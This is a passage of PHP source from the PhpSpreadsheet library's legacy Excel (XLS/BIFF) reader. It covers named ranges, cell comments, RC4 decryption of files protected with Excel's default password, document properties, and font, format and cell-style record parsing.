imagealphablending($ih, false); imagesavealpha($ih, true); $drawing->setRenderingFunction(MemoryDrawing::RENDERING_PNG); $drawing->setMimeType(MemoryDrawing::MIMETYPE_PNG); break; } $drawing->setWorksheet($this->phpSheet); $drawing->setCoordinates($spContainer->getStartCoordinates()); } } } break; default: // other object type break; } } } // treat SHAREDFMLA records if ($this->version == self::XLS_BIFF8) { foreach ($this->sharedFormulaParts as $cell => $baseCell) { /** @var int $row */ [$column, $row] = Coordinate::coordinateFromString($cell); if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($column, $row, $this->phpSheet->getTitle())) { $formula = $this->getFormulaFromStructure($this->sharedFormulas[$baseCell], $cell); $this->phpSheet->getCell($cell)->setValueExplicit('=' . $formula, DataType::TYPE_FORMULA); } } } if (!empty($this->cellNotes)) { foreach ($this->cellNotes as $note => $noteDetails) { if (!isset($noteDetails['objTextData'])) { if (isset($this->textObjects[$note])) { $textObject = $this->textObjects[$note]; $noteDetails['objTextData'] = $textObject; } else { $noteDetails['objTextData']['text'] = ''; } } $cellAddress = str_replace('$', '', $noteDetails['cellRef']); $this->phpSheet->getComment($cellAddress)->setAuthor($noteDetails['author'])->setText($this->parseRichText($noteDetails['objTextData']['text'])); } } } if ($this->activeSheetSet === false) { $this->spreadsheet->setActiveSheetIndex(0); } // add the named ranges (defined names) foreach ($this->definedname as $definedName) { if ($definedName['isBuiltInName']) { switch ($definedName['name']) { case pack('C', 0x06): // print area // in general, formula looks like this: Foo!$C$7:$J$66,Bar!$A$1:$IV$2 $ranges = explode(',', $definedName['formula']); // FIXME: what if sheetname contains comma? $extractedRanges = []; $sheetName = ''; /** @var non-empty-string $range */ foreach ($ranges as $range) { // $range should look like one of these // Foo!$C$7:$J$66 // Bar!$A$1:$IV$2 $explodes = Worksheet::extractSheetTitle($range, true); $sheetName = trim($explodes[0], "'"); if (!str_contains($explodes[1], ':')) { $explodes[1] = $explodes[1] . ':' . $explodes[1]; } $extractedRanges[] = str_replace('$', '', $explodes[1]); // C7:J66 } if ($docSheet = $this->spreadsheet->getSheetByName($sheetName)) { $docSheet->getPageSetup()->setPrintArea(implode(',', $extractedRanges)); // C7:J66,A1:IV2 } break; case pack('C', 0x07): // print titles (repeating rows) // Assuming BIFF8, there are 3 cases // 1. repeating rows // formula looks like this: Sheet!$A$1:$IV$2 // rows 1-2 repeat // 2. repeating columns // formula looks like this: Sheet!$A$1:$B$65536 // columns A-B repeat // 3. both repeating rows and repeating columns // formula looks like this: Sheet!$A$1:$B$65536,Sheet!$A$1:$IV$2 $ranges = explode(',', $definedName['formula']); // FIXME: what if sheetname contains comma? foreach ($ranges as $range) { // $range should look like this one of these // Sheet!$A$1:$B$65536 // Sheet!$A$1:$IV$2 if (str_contains($range, '!')) { $explodes = Worksheet::extractSheetTitle($range, true); if ($docSheet = $this->spreadsheet->getSheetByName($explodes[0])) { $extractedRange = $explodes[1]; $extractedRange = str_replace('$', '', $extractedRange); $coordinateStrings = explode(':', $extractedRange); if (count($coordinateStrings) == 2) { [$firstColumn, $firstRow] = Coordinate::coordinateFromString($coordinateStrings[0]); [$lastColumn, $lastRow] = Coordinate::coordinateFromString($coordinateStrings[1]); if ($firstColumn == 'A' && $lastColumn == 'IV') { // then we have repeating rows $docSheet->getPageSetup()->setRowsToRepeatAtTop([$firstRow, $lastRow]); } elseif ($firstRow == 1 && $lastRow == 65536) { // then we have repeating columns $docSheet->getPageSetup()->setColumnsToRepeatAtLeft([$firstColumn, $lastColumn]); } } } } } break; } } else { // Extract range /** @var non-empty-string $formula */ $formula = $definedName['formula']; if (str_contains($formula, '!')) { $explodes = Worksheet::extractSheetTitle($formula, true); if ( ($docSheet = $this->spreadsheet->getSheetByName($explodes[0])) || ($docSheet = $this->spreadsheet->getSheetByName(trim($explodes[0], "'"))) ) { $extractedRange = $explodes[1]; $localOnly = ($definedName['scope'] === 0) ? false : true; $scope = ($definedName['scope'] === 0) ? null : $this->spreadsheet->getSheetByName($this->sheets[$definedName['scope'] - 1]['name']); $this->spreadsheet->addNamedRange(new NamedRange((string) $definedName['name'], $docSheet, $extractedRange, $localOnly, $scope)); } } // Named Value // TODO Provide support for named values } } $this->data = ''; return $this->spreadsheet; } /** * Read record data from stream, decrypting as required. * * @param string $data Data stream to read from * @param int $pos Position to start reading from * @param int $len Record data length * * @return string Record data */ private function readRecordData(string $data, int $pos, int $len): string { $data = substr($data, $pos, $len); // File not encrypted, or record before encryption start point if ($this->encryption == self::MS_BIFF_CRYPTO_NONE || $pos < $this->encryptionStartPos) { return $data; } $recordData = ''; if ($this->encryption == self::MS_BIFF_CRYPTO_RC4) { $oldBlock = floor($this->rc4Pos / self::REKEY_BLOCK); $block = (int) floor($pos / self::REKEY_BLOCK); $endBlock = (int) floor(($pos + $len) / self::REKEY_BLOCK); // Spin an RC4 decryptor to the right spot. If we have a decryptor sitting // at a point earlier in the current block, re-use it as we can save some time. if ($block != $oldBlock || $pos < $this->rc4Pos || !$this->rc4Key) { $this->rc4Key = $this->makeKey($block, $this->md5Ctxt); $step = $pos % self::REKEY_BLOCK; } else { $step = $pos - $this->rc4Pos; } $this->rc4Key->RC4(str_repeat("\0", $step)); // Decrypt record data (re-keying at the end of every block) while ($block != $endBlock) { $step = self::REKEY_BLOCK - ($pos % self::REKEY_BLOCK); $recordData .= $this->rc4Key->RC4(substr($data, 0, $step)); $data = substr($data, $step); $pos += $step; $len -= $step; ++$block; $this->rc4Key = $this->makeKey($block, $this->md5Ctxt); } $recordData .= $this->rc4Key->RC4(substr($data, 0, $len)); // Keep track of the position of this decryptor. // We'll try and re-use it later if we can to speed things up $this->rc4Pos = $pos + $len; } elseif ($this->encryption == self::MS_BIFF_CRYPTO_XOR) { throw new Exception('XOr encryption not supported'); } return $recordData; } /** * Use OLE reader to extract the relevant data streams from the OLE file. */ private function loadOLE(string $filename): void { // OLE reader $ole = new OLERead(); // get excel data, $ole->read($filename); // Get workbook data: workbook stream + sheet streams $this->data = $ole->getStream($ole->wrkbook); // @phpstan-ignore-line // Get summary information data $this->summaryInformation = $ole->getStream($ole->summaryInformation); // Get additional document summary information data $this->documentSummaryInformation = $ole->getStream($ole->documentSummaryInformation); } /** * Read summary information. */ private function readSummaryInformation(): void { if (!isset($this->summaryInformation)) { return; } // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) // offset: 2; size: 2; // offset: 4; size: 2; OS version // offset: 6; size: 2; OS indicator // offset: 8; size: 16 // offset: 24; size: 4; section count //$secCount = self::getInt4d($this->summaryInformation, 24); // offset: 28; size: 16; first section's class id: e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 // offset: 44; size: 4 $secOffset = self::getInt4d($this->summaryInformation, 44); // section header // offset: $secOffset; size: 4; section length //$secLength = self::getInt4d($this->summaryInformation, $secOffset); // offset: $secOffset+4; size: 4; property count $countProperties = self::getInt4d($this->summaryInformation, $secOffset + 4); // initialize code page (used to resolve string values) $codePage = 'CP1252'; // offset: ($secOffset+8); size: var // loop through property decarations and properties for ($i = 0; $i < $countProperties; ++$i) { // offset: ($secOffset+8) + (8 * $i); size: 4; property ID $id = self::getInt4d($this->summaryInformation, ($secOffset + 8) + (8 * $i)); // Use value of property id as appropriate // offset: ($secOffset+12) + (8 * $i); size: 4; offset from beginning of section (48) $offset = self::getInt4d($this->summaryInformation, ($secOffset + 12) + (8 * $i)); $type = self::getInt4d($this->summaryInformation, $secOffset + $offset); // initialize property value $value = null; // extract property value based on property type switch ($type) { case 0x02: // 2 byte signed integer $value = self::getUInt2d($this->summaryInformation, $secOffset + 4 + $offset); break; case 0x03: // 4 byte signed integer $value = self::getInt4d($this->summaryInformation, $secOffset + 4 + $offset); break; case 0x13: // 4 byte unsigned integer // not needed yet, fix later if necessary break; case 0x1E: // null-terminated string prepended by dword string length $byteLength = self::getInt4d($this->summaryInformation, $secOffset + 4 + $offset); $value = substr($this->summaryInformation, $secOffset + 8 + $offset, $byteLength); $value = StringHelper::convertEncoding($value, 'UTF-8', $codePage); $value = rtrim($value); break; case 0x40: // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) // PHP-time $value = OLE::OLE2LocalDate(substr($this->summaryInformation, $secOffset + 4 + $offset, 8)); break; case 0x47: // Clipboard format // not needed yet, fix later if necessary break; } switch ($id) { case 0x01: // Code Page $codePage = CodePage::numberToName((int) $value); break; case 0x02: // Title $this->spreadsheet->getProperties()->setTitle("$value"); break; case 0x03: // Subject $this->spreadsheet->getProperties()->setSubject("$value"); break; case 0x04: // Author (Creator) $this->spreadsheet->getProperties()->setCreator("$value"); break; case 0x05: // Keywords $this->spreadsheet->getProperties()->setKeywords("$value"); break; case 0x06: // Comments (Description) $this->spreadsheet->getProperties()->setDescription("$value"); break; case 0x07: // Template // Not supported by PhpSpreadsheet break; case 0x08: // Last Saved By (LastModifiedBy) $this->spreadsheet->getProperties()->setLastModifiedBy("$value"); break; case 0x09: // Revision // Not supported by PhpSpreadsheet break; case 0x0A: // Total Editing Time // Not supported by PhpSpreadsheet break; case 0x0B: // Last Printed // Not supported by PhpSpreadsheet break; case 0x0C: // Created Date/Time $this->spreadsheet->getProperties()->setCreated($value); break; case 0x0D: // Modified Date/Time $this->spreadsheet->getProperties()->setModified($value); break; case 0x0E: // Number of Pages // Not supported by PhpSpreadsheet break; case 0x0F: // Number of Words // Not supported by PhpSpreadsheet break; case 0x10: // Number of Characters // Not supported by PhpSpreadsheet break; case 0x11: // Thumbnail // Not supported by PhpSpreadsheet break; case 0x12: // Name of creating application // Not supported by PhpSpreadsheet break; case 0x13: // Security // Not supported by PhpSpreadsheet break; } } } /** * Read additional document summary information. */ private function readDocumentSummaryInformation(): void { if (!isset($this->documentSummaryInformation)) { return; } // offset: 0; size: 2; must be 0xFE 0xFF (UTF-16 LE byte order mark) // offset: 2; size: 2; // offset: 4; size: 2; OS version // offset: 6; size: 2; OS indicator // offset: 8; size: 16 // offset: 24; size: 4; section count //$secCount = self::getInt4d($this->documentSummaryInformation, 24); // offset: 28; size: 16; first section's class id: 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae // offset: 44; size: 4; first section offset $secOffset = self::getInt4d($this->documentSummaryInformation, 44); // section header // offset: $secOffset; size: 4; section length //$secLength = self::getInt4d($this->documentSummaryInformation, $secOffset); // offset: $secOffset+4; size: 4; property count $countProperties = self::getInt4d($this->documentSummaryInformation, $secOffset + 4); // initialize code page (used to resolve string values) $codePage = 'CP1252'; // offset: ($secOffset+8); size: var // loop through property decarations and properties for ($i = 0; $i < $countProperties; ++$i) { // offset: ($secOffset+8) + (8 * $i); size: 4; property ID $id = self::getInt4d($this->documentSummaryInformation, ($secOffset + 8) + (8 * $i)); // Use value of property id as appropriate // offset: 60 + 8 * $i; size: 4; offset from beginning of section (48) $offset = self::getInt4d($this->documentSummaryInformation, ($secOffset + 12) + (8 * $i)); $type = self::getInt4d($this->documentSummaryInformation, $secOffset + $offset); // initialize property value $value = null; // extract property value based on property type switch ($type) { case 0x02: // 2 byte signed integer $value = self::getUInt2d($this->documentSummaryInformation, $secOffset + 4 + $offset); break; case 0x03: // 4 byte signed integer $value = self::getInt4d($this->documentSummaryInformation, $secOffset + 4 + $offset); break; case 0x0B: // Boolean $value = self::getUInt2d($this->documentSummaryInformation, $secOffset + 4 + $offset); $value = ($value == 0 ? false : true); break; case 0x13: // 4 byte unsigned integer // not needed yet, fix later if necessary break; case 0x1E: // null-terminated string prepended by dword string length $byteLength = self::getInt4d($this->documentSummaryInformation, $secOffset + 4 + $offset); $value = substr($this->documentSummaryInformation, $secOffset + 8 + $offset, $byteLength); $value = StringHelper::convertEncoding($value, 'UTF-8', $codePage); $value = rtrim($value); break; case 0x40: // Filetime (64-bit value representing the number of 100-nanosecond intervals since January 1, 1601) // PHP-Time $value = OLE::OLE2LocalDate(substr($this->documentSummaryInformation, $secOffset + 4 + $offset, 8)); break; case 0x47: // Clipboard format // not needed yet, fix later if necessary break; } switch ($id) { case 0x01: // Code Page $codePage = CodePage::numberToName((int) $value); break; case 0x02: // Category $this->spreadsheet->getProperties()->setCategory("$value"); break; case 0x03: // Presentation Target // Not supported by PhpSpreadsheet break; case 0x04: // Bytes // Not supported by PhpSpreadsheet break; case 0x05: // Lines // Not supported by PhpSpreadsheet break; case 0x06: // Paragraphs // Not supported by PhpSpreadsheet break; case 0x07: // Slides // Not supported by PhpSpreadsheet break; case 0x08: // Notes // Not supported by PhpSpreadsheet break; case 0x09: // Hidden Slides // Not supported by PhpSpreadsheet break; case 0x0A: // MM Clips // Not supported by PhpSpreadsheet break; case 0x0B: // Scale Crop // Not supported by PhpSpreadsheet break; case 0x0C: // Heading Pairs // Not supported by PhpSpreadsheet break; case 0x0D: // Titles of Parts // Not supported by PhpSpreadsheet break; case 0x0E: // Manager $this->spreadsheet->getProperties()->setManager("$value"); break; case 0x0F: // Company $this->spreadsheet->getProperties()->setCompany("$value"); break; case 0x10: // Links up-to-date // Not supported by PhpSpreadsheet break; } } } /** * Reads a general type of BIFF record. Does nothing except for moving stream pointer forward to next record. */ private function readDefault(): void { $length = self::getUInt2d($this->data, $this->pos + 2); // move stream pointer to next record $this->pos += 4 + $length; } /** * The NOTE record specifies a comment associated with a particular cell. In Excel 95 (BIFF7) and earlier versions, * this record stores a note (cell note). This feature was significantly enhanced in Excel 97. */ private function readNote(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } $cellAddress = $this->readBIFF8CellAddress(substr($recordData, 0, 4)); if ($this->version == self::XLS_BIFF8) { $noteObjID = self::getUInt2d($recordData, 6); $noteAuthor = self::readUnicodeStringLong(substr($recordData, 8)); $noteAuthor = $noteAuthor['value']; $this->cellNotes[$noteObjID] = [ 'cellRef' => $cellAddress, 'objectID' => $noteObjID, 'author' => $noteAuthor, ]; } else { $extension = false; if ($cellAddress == '$B$65536') { // If the address row is -1 and the column is 0, (which translates as $B$65536) then this is a continuation // note from the previous cell annotation. We're not yet handling this, so annotations longer than the // max 2048 bytes will probably throw a wobbly. //$row = self::getUInt2d($recordData, 0); $extension = true; $arrayKeys = array_keys($this->phpSheet->getComments()); $cellAddress = array_pop($arrayKeys); } $cellAddress = str_replace('$', '', (string) $cellAddress); //$noteLength = self::getUInt2d($recordData, 4); $noteText = trim(substr($recordData, 6)); if ($extension) { // Concatenate this extension with the currently set comment for the cell $comment = $this->phpSheet->getComment($cellAddress); $commentText = $comment->getText()->getPlainText(); $comment->setText($this->parseRichText($commentText . $noteText)); } else { // Set comment for the cell $this->phpSheet->getComment($cellAddress)->setText($this->parseRichText($noteText)); // ->setAuthor($author) } } } /** * The TEXT Object record contains the text associated with a cell annotation. */ private function readTextObject(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // recordData consists of an array of subrecords looking like this: // grbit: 2 bytes; Option Flags // rot: 2 bytes; rotation // cchText: 2 bytes; length of the text (in the first continue record) // cbRuns: 2 bytes; length of the formatting (in the second continue record) // followed by the continuation records containing the actual text and formatting $grbitOpts = self::getUInt2d($recordData, 0); $rot = self::getUInt2d($recordData, 2); //$cchText = self::getUInt2d($recordData, 10); $cbRuns = self::getUInt2d($recordData, 12); $text = $this->getSplicedRecordData(); $textByte = $text['spliceOffsets'][1] - $text['spliceOffsets'][0] - 1; $textStr = substr($text['recordData'], $text['spliceOffsets'][0] + 1, $textByte); // get 1 byte $is16Bit = ord($text['recordData'][0]); // it is possible to use a compressed format, // which omits the high bytes of all characters, if they are all zero if (($is16Bit & 0x01) === 0) { $textStr = StringHelper::ConvertEncoding($textStr, 'UTF-8', 'ISO-8859-1'); } else { $textStr = $this->decodeCodepage($textStr); } $this->textObjects[$this->textObjRef] = [ 'text' => $textStr, 'format' => substr($text['recordData'], $text['spliceOffsets'][1], $cbRuns), 'alignment' => $grbitOpts, 'rotation' => $rot, ]; } /** * Read BOF. */ private function readBof(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = substr($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 2; size: 2; type of the following data $substreamType = self::getUInt2d($recordData, 2); switch ($substreamType) { case self::XLS_WORKBOOKGLOBALS: $version = self::getUInt2d($recordData, 0); if (($version != self::XLS_BIFF8) && ($version != self::XLS_BIFF7)) { throw new Exception('Cannot read this Excel file. Version is too old.'); } $this->version = $version; break; case self::XLS_WORKSHEET: // do not use this version information for anything // it is unreliable (OpenOffice doc, 5.8), use only version information from the global stream break; default: // substream, e.g. chart // just skip the entire substream do { $code = self::getUInt2d($this->data, $this->pos); $this->readDefault(); } while ($code != self::XLS_TYPE_EOF && $this->pos < $this->dataSize); break; } } /** * FILEPASS. * * This record is part of the File Protection Block. It * contains information about the read/write password of the * file. All record contents following this record will be * encrypted. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" * * The decryption functions and objects used from here on in * are based on the source of Spreadsheet-ParseExcel: * https://metacpan.org/release/Spreadsheet-ParseExcel */ private function readFilepass(): void { $length = self::getUInt2d($this->data, $this->pos + 2); if ($length != 54) { throw new Exception('Unexpected file pass record length'); } $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->verifyPassword('VelvetSweatshop', substr($recordData, 6, 16), substr($recordData, 22, 16), substr($recordData, 38, 16), $this->md5Ctxt)) { throw new Exception('Decryption password incorrect'); } $this->encryption = self::MS_BIFF_CRYPTO_RC4; // Decryption required from the record after next onwards $this->encryptionStartPos = $this->pos + self::getUInt2d($this->data, $this->pos + 2); } /** * Make an RC4 decryptor for the given block. * * @param int $block Block for which to create decrypto * @param string $valContext MD5 context state */ private function makeKey(int $block, string $valContext): Xls\RC4 { $pwarray = str_repeat("\0", 64); for ($i = 0; $i < 5; ++$i) { $pwarray[$i] = $valContext[$i]; } $pwarray[5] = chr($block & 0xFF); $pwarray[6] = chr(($block >> 8) & 0xFF); $pwarray[7] = chr(($block >> 16) & 0xFF); $pwarray[8] = chr(($block >> 24) & 0xFF); $pwarray[9] = "\x80"; $pwarray[56] = "\x48"; $md5 = new Xls\MD5(); $md5->add($pwarray); $s = $md5->getContext(); return new Xls\RC4($s); } /** * Verify RC4 file password. * * @param string $password Password to check * @param string $docid Document id * @param string $salt_data Salt data * @param string $hashedsalt_data Hashed salt data * @param string $valContext Set to the MD5 context of the value * * @return bool Success */ private function verifyPassword(string $password, string $docid, string $salt_data, string $hashedsalt_data, string &$valContext): bool { $pwarray = str_repeat("\0", 64); $iMax = strlen($password); for ($i = 0; $i < $iMax; ++$i) { $o = ord(substr($password, $i, 1)); $pwarray[2 * $i] = chr($o & 0xFF); $pwarray[2 * $i + 1] = chr(($o >> 8) & 0xFF); } $pwarray[2 * $i] = chr(0x80); $pwarray[56] = chr(($i << 4) & 0xFF); $md5 = new Xls\MD5(); $md5->add($pwarray); $mdContext1 = $md5->getContext(); $offset = 0; $keyoffset = 0; $tocopy = 5; $md5->reset(); while ($offset != 16) { if ((64 - $offset) < 5) { $tocopy = 64 - $offset; } for ($i = 0; $i <= $tocopy; ++$i) { $pwarray[$offset + $i] = $mdContext1[$keyoffset + $i]; } $offset += $tocopy; if ($offset == 64) { $md5->add($pwarray); $keyoffset = $tocopy; $tocopy = 5 - $tocopy; $offset = 0; continue; } $keyoffset = 0; $tocopy = 5; for ($i = 0; $i < 16; ++$i) { $pwarray[$offset + $i] = $docid[$i]; } $offset += 16; } $pwarray[16] = "\x80"; for ($i = 0; $i < 47; ++$i) { $pwarray[17 + $i] = "\0"; } $pwarray[56] = "\x80"; $pwarray[57] = "\x0a"; $md5->add($pwarray); $valContext = $md5->getContext(); $key = $this->makeKey(0, $valContext); $salt = $key->RC4($salt_data); $hashedsalt = $key->RC4($hashedsalt_data); $salt .= "\x80" . str_repeat("\0", 47); $salt[56] = "\x80"; $md5->reset(); $md5->add($salt); $mdContext2 = $md5->getContext(); return $mdContext2 == $hashedsalt; } /** * CODEPAGE. * * This record stores the text encoding used to write byte * strings, stored as MS Windows code page identifier. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readCodepage(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; code page identifier $codepage = self::getUInt2d($recordData, 0); $this->codepage = CodePage::numberToName($codepage); } /** * DATEMODE. * * This record specifies the base date for displaying date * values. All dates are stored as count of days past this * base date. In BIFF2-BIFF4 this record is part of the * Calculation Settings Block. In BIFF5-BIFF8 it is * stored in the Workbook Globals Substream. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readDateMode(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; 0 = base 1900, 1 = base 1904 Date::setExcelCalendar(Date::CALENDAR_WINDOWS_1900); if (ord($recordData[0]) == 1) { Date::setExcelCalendar(Date::CALENDAR_MAC_1904); } } /** * Read a FONT record. */ private function readFont(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { $objFont = new Font(); // offset: 0; size: 2; height of the font (in twips = 1/20 of a point) $size = self::getUInt2d($recordData, 0); $objFont->setSize($size / 20); // offset: 2; size: 2; option flags // bit: 0; mask 0x0001; bold (redundant in BIFF5-BIFF8) // bit: 1; mask 0x0002; italic $isItalic = (0x0002 & self::getUInt2d($recordData, 2)) >> 1; if ($isItalic) { $objFont->setItalic(true); } // bit: 2; mask 0x0004; underlined (redundant in BIFF5-BIFF8) // bit: 3; mask 0x0008; strikethrough $isStrike = (0x0008 & self::getUInt2d($recordData, 2)) >> 3; if ($isStrike) { $objFont->setStrikethrough(true); } // offset: 4; size: 2; colour index $colorIndex = self::getUInt2d($recordData, 4); $objFont->colorIndex = $colorIndex; // offset: 6; size: 2; font weight $weight = self::getUInt2d($recordData, 6); switch ($weight) { case 0x02BC: $objFont->setBold(true); break; } // offset: 8; size: 2; escapement type $escapement = self::getUInt2d($recordData, 8); CellFont::escapement($objFont, $escapement); // offset: 10; size: 1; underline type $underlineType = ord($recordData[10]); CellFont::underline($objFont, $underlineType); // offset: 11; size: 1; font family // offset: 12; size: 1; character set // offset: 13; size: 1; not used // offset: 14; size: var; font name if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringShort(substr($recordData, 14)); } else { $string = $this->readByteStringShort(substr($recordData, 14)); } $objFont->setName($string['value']); $this->objFonts[] = $objFont; } } /** * FORMAT. * * This record contains information about a number format. * All FORMAT records occur together in a sequential list. * * In BIFF2-BIFF4 other records referencing a FORMAT record * contain a zero-based index into this list. From BIFF5 on * the FORMAT record contains the index itself that will be * used by other records. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readFormat(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { $indexCode = self::getUInt2d($recordData, 0); if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong(substr($recordData, 2)); } else { // BIFF7 $string = $this->readByteStringShort(substr($recordData, 2)); } $formatString = $string['value']; // Apache Open Office sets wrong case writing to xls - issue 2239 if ($formatString === 'GENERAL') { $formatString = NumberFormat::FORMAT_GENERAL; } $this->formats[$indexCode] = $formatString; } } /** * XF - Extended Format. * * This record contains formatting information for cells, rows, columns or styles. * According to https://support.microsoft.com/en-us/help/147732 there are always at least 15 cell style XF * and 1 cell XF. * Inspection of Excel files generated by MS Office Excel shows that XF records 0-14 are cell style XF * and XF record 15 is a cell XF * We only read the first cell style XF and skip the remaining cell style XF records * We read all cell XF records. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readXf(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; $objStyle = new Style(); if (!$this->readDataOnly) { // offset: 0; size: 2; Index to FONT record if (self::getUInt2d($recordData, 0) < 4) { $fontIndex = self::getUInt2d($recordData, 0); } else { // this has to do with that index 4 is omitted in all BIFF versions for some strange reason // check the OpenOffice documentation of the FONT record $fontIndex = self::getUInt2d($recordData, 0) - 1; } if (isset($this->objFonts[$fontIndex])) { $objStyle->setFont($this->objFonts[$fontIndex]); } // offset: 2; size: 2; Index to FORMAT record $numberFormatIndex = self::getUInt2d($recordData, 2); if (isset($this->formats[$numberFormatIndex])) { // then we have user-defined format code $numberFormat = ['formatCode' => $this->formats[$numberFormatIndex]]; } elseif (($code = NumberFormat::builtInFormatCode($numberFormatIndex)) !== '') { // then we have built-in format code $numberFormat = ['formatCode' => $code]; } else { // we set the general format code $numberFormat = ['formatCode' => NumberFormat::FORMAT_GENERAL]; } $objStyle->getNumberFormat()->setFormatCode($numberFormat['formatCode']); // offset: 4; size: 2; XF type, cell protection, and parent style XF // bit 2-0; mask 0x0007; XF_TYPE_PROT $xfTypeProt = self::getUInt2d($recordData, 4); // bit 0; mask 0x01; 1 = cell is locked $isLocked = (0x01 & $xfTypeProt) >> 0; $objStyle->getProtection()->setLocked($isLocked ? Protection::PROTECTION_INHERIT : Protection::PROTECTION_UNPROTECTED); // bit 1; mask 0x02; 1 = Formula is hidden $isHidden = (0x02 & $xfTypeProt) >> 1; $objStyle->getProtection()->setHidden($isHidden ? Protection::PROTECTION_PROTECTED : Protection::PROTECTION_UNPROTECTED); // bit 2; mask 0x04; 0 = Cell XF, 1 = Cell Style XF $isCellStyleXf = (0x04 & $xfTypeProt) >> 2; // offset: 6; size: 1; Alignment and text break // bit 2-0, mask 0x07; horizontal alignment $horAlign = (0x07 & ord($recordData[6])) >> 0; Xls\Style\CellAlignment::horizontal($objStyle->getAlignment(), $horAlign); // bit 3, mask 0x08; wrap text $wrapText = (0x08 & ord($recordData[6])) >> 3; Xls\Style\CellAlignment::wrap($objStyle->getAlignment(), $wrapText); // bit 6-4, mask 0x70; vertical alignment $vertAlign = (0x70 & ord($recordData[6])) >> 4; Xls\Style\CellAlignment::vertical($objStyle->getAlignment(), $vertAlign); if ($this->version == self::XLS_BIFF8) { // offset: 7; size: 1; XF_ROTATION: Text rotation angle $angle = ord($recordData[7]); $rotation = 0; if ($angle <= 90) { $rotation = $angle; } elseif ($angle <= 180) { $rotation = 90 - $angle; } elseif ($angle == Alignment::TEXTROTATION_STACK_EXCEL) { $rotation = Alignment::TEXTROTATION_STACK_PHPSPREADSHEET; } $objStyle->getAlignment()->setTextRotation($rotation); // offset: 8; size: 1; Indentation, shrink to cell size, and text direction // bit: 3-0; mask: 0x0F; indent level $indent = (0x0F & ord($recordData[8])) >> 0; $objStyle->getAlignment()->setIndent($indent); // bit: 4; mask: 0x10; 1 = shrink content to fit into cell $shrinkToFit = (0x10 & ord($recordData[8])) >> 4; switch ($shrinkToFit) { case 0: $objStyle->getAlignment()->setShrinkToFit(false); break; case 1: $objStyle->getAlignment()->setShrinkToFit(true); break; } // offset: 9; size: 1; Flags used for attribute groups // offset: 10; size: 4; Cell border lines and background area // bit: 3-0; mask: 0x0000000F; left style if ($bordersLeftStyle = Xls\Style\Border::lookup((0x0000000F & self::getInt4d($recordData, 10)) >> 0)) { $objStyle->getBorders()->getLeft()->setBorderStyle($bordersLeftStyle); } // bit: 7-4; mask: 0x000000F0; right style if ($bordersRightStyle = Xls\Style\Border::lookup((0x000000F0 & self::getInt4d($recordData, 10)) >> 4)) { $objStyle->getBorders()->getRight()->setBorderStyle($bordersRightStyle); } // bit: 11-8; mask: 0x00000F00; top style if ($bordersTopStyle = Xls\Style\Border::lookup((0x00000F00 & self::getInt4d($recordData, 10)) >> 8)) { $objStyle->getBorders()->getTop()->setBorderStyle($bordersTopStyle); } // bit: 15-12; mask: 0x0000F000; bottom style if ($bordersBottomStyle = Xls\Style\Border::lookup((0x0000F000 & self::getInt4d($recordData, 10)) >> 12)) { $objStyle->getBorders()->getBottom()->setBorderStyle($bordersBottomStyle); } // bit: 22-16; mask: 0x007F0000; left color $objStyle->getBorders()->getLeft()->colorIndex = (0x007F0000 & self::getInt4d($recordData, 10)) >> 16; // bit: 29-23; mask: 0x3F800000; right color $objStyle->getBorders()->getRight()->colorIndex = (0x3F800000 & self::getInt4d($recordData, 10)) >> 23; // bit: 30; mask: 0x40000000; 1 = diagonal line from top left to right bottom $diagonalDown = (0x40000000 & self::getInt4d($recordData, 10)) >> 30 ? true : false; // bit: 31; mask: 0x800000; 1 = diagonal line from bottom left to top right $diagonalUp = (self::HIGH_ORDER_BIT & self::getInt4d($recordData, 10)) >> 31 ? true : false; if ($diagonalUp === false) { if ($diagonalDown === false) { $objStyle->getBorders()->setDiagonalDirection(Borders::DIAGONAL_NONE); } else { $objStyle->getBorders()->setDiagonalDirection(Borders::DIAGONAL_DOWN); } } elseif ($diagonalDown === false) { $objStyle->getBorders()->setDiagonalDirection(Borders::DIAGONAL_UP); } else { $objStyle->getBorders()->setDiagonalDirection(Borders::DIAGONAL_BOTH); } // offset: 14; size: 4; // bit: 6-0; mask: 0x0000007F; top color $objStyle->getBorders()->getTop()->colorIndex = (0x0000007F & self::getInt4d($recordData, 14)) >> 0; // bit: 13-7; mask: 0x00003F80; bottom color 